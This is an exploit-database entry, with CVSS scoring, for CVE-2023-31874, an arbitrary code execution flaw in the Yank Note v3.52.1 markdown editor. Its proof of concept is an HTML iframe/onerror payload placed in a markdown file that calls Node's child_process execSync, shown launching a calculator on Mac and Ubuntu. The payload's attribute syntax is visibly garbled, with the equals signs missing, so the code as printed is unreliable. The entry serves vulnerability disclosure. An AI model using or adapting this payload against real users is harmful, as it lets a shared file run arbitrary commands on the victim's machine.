Yank Note v3.52.1 (Electron) - Arbitrary Code Execution

2023-05-2300:00:00

8bitsec

www.exploit-db.com

137

yank note v3.52.1

electron

arbitrary code execution

vulnerability

markdown editor

version control

ai completion

documents encryption

code snippet

integrated terminal

chart embedding

html applets

reveal.js

proof of concept

cve-2023-31874

CVSS3

8.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

AI Score

8.9

Confidence

High

EPSS

0.003

Percentile

70.5%

JSON

# Exploit Title: Yank Note v3.52.1 (Electron) - Arbitrary Code Execution
# Date: 2023-04-27
# Exploit Author: 8bitsec
# CVE: CVE-2023-31874
# Vendor Homepage: yank-note.com
# Software Link: https://github.com/purocean/yn
# Version: 3.52.1
# Tested on: [Ubuntu 22.04 | Mac OS 13]

Release Date: 2023-04-27

Product & Service Introduction: A Hackable Markdown Editor for Programmers. Version control, AI completion, mind map, documents encryption, code snippet running, integrated terminal, chart embedding, HTML applets, Reveal.js, plug-in, and macro replacement

Technical Details & Description:

A vulnerability was discovered on Yank Note v3.52.1 allowing a user to execute arbitrary code by opening a specially crafted file.

Proof of Concept (PoC):
Arbitrary code execution:

Create a markdown file (.md) in any text editor and write the following payload.
Mac:
<iframe srcdoc"<img srcx onerroralert(parent.parent.nodeRequire('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());>')>">

Ubuntu:
<iframe srcdoc"<img srcx onerroralert(parent.parent.nodeRequire('child_process').execSync('gnome-calculator').toString());>')>">

Opening the file in Yank Note will auto execute the Calculator application.